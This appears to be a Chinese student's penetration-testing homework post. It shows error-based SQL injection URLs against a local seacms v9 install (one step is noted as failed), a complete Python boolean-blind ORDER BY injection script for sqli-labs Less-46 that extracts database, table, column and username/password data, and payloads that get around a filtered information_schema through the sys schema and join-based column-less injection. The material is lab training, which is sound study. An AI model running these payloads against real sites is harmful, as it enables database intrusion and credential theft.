当前位置: 首页 > news >正文

渗透第二次作业

1、seacmsv9报错注入出管理员账号密码

注入漏洞的文件路径:seacmsv9.1\upload\comment\api\index.php

注入点:&$rlist

经源代码分析,可用以下语句注入,得到用户名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`

用以下语句注入出数据库名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20database()))),@`%27`

用以下语句注入出表名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),@`%27`

结果注入失败

2、orderby的布尔盲注

布尔盲注:

import requests
from lxml import html


def get_id_one(URL, paload):
    res = requests.get(url=URL, params=paload)
    tree = html.fromstring(res.content)
    id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()
    return id_one

# 获取数据库名
def database(URL):
    dataname = ""
    for i in range(1, 10):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                hight = mid
                mid = (low + hight) // 2
            else:
                low = mid + 1
                mid = (low + hight) // 2
        dataname += chr(mid)
    print(dataname)


# 获取表名
def table_name(URL):
    tables = ""
    for i in range(1, 40):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        tables += chr(mid)
    print(tables)


# 获取字段名
def column_name(URL):
    columns = ""
    for i in range(1, 25):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        columns += chr(mid)
    print(columns)


# 获取数据
def datas(URl):
    data = ""
    for i in range(1, 50):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        data += chr(mid)
    print(data)


if __name__ == '__main__':
    URL = "http://127.0.0.1/sqlilabs/Less-46/index.php"
    database(URL)
    table_name(URL)
    column_name(URL)
    datas(URL)

结果:

3、过滤information_schema,如何解决
如果information_schema被过滤掉了,该如何查询数据

方法一:利用sys数据库

查看所有数据库名:
SELECT DISTINCT table_schema FROM sys.schema_table_statistics;

查看数据库中所有表名:
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema = 'seacms';


#sys.schema_auto_increment_columns 
#sys.schema_table_statistics_with_buffer
#mysql.innodb_table_stats
#mysql.innodb_table_index
#均可代替 information_schema


方法二:无列名注入

利用 join-using 注列名

获取表名:
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

获取字段名:
?id=-1' union select * from (select * from users as a join users as b)as c--+
?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
?id=-1' union select * from (select * from users as a join users b using(id,username,password))c--+

相关文章:

  • spring结合mybatis多租户实现单库分表
  • 洛谷-新二叉树python
  • Flink SQL怎么用?
  • 深度学习模型可视化:通俗易懂的全面解读
  • 基础算法整理
  • C++20 三路比较运算符 `<=>` 与 `operator==() = default` 的深度剖析及实际应用
  • VUE向外暴露文件,并通过本地接口调用获取,前端自己生成接口获取public目录里面的文件
  • Linux进程控制
  • leetcode 73. 矩阵置零
  • 鸿蒙新版开发工具DevEco Studio不能新建模拟的解决方法
  • 两台互通的服务器使用Docker部署一主两从MySQL8.0.35
  • 【Qt】为程序增加闪退crash报告日志
  • Nginx面试宝典【刷题系列】
  • 广州无人机考试培训收费标准(附报名流程)
  • 【开源免费】基于SpringBoot+Vue.JS美食烹饪互动平台(JAVA毕业设计)
  • python 剪切音频
  • [特殊字符]️ ‌Selenium元素存在性判断的5种方法‌
  • 归纳总结一下Tensorflow、PaddlePaddle、Pytorch构建神经网络基本流程,以及使用NCNN推理的流程
  • 快速上手 Uniapp:从入门到精通的捷径
  • css 设置svg文字的对齐方式。右对齐
  • 航行警告:渤海海峡黄海北部执行军事任务,禁止驶入
  • 当创业热土遇上年轻气息,上海南汇新城发展如何再发力?
  • 方正证券总裁何亚刚到龄退休,54岁副总裁姜志军接棒
  • 人民时评:透过上海车展读懂三组密码
  • 胖东来发布和田玉、翡翠退货说明:不扣手续费等任何费用
  • 家庭相册㉙在沪打拼25年,我理解了父母清晨去卖蜜饯的辛苦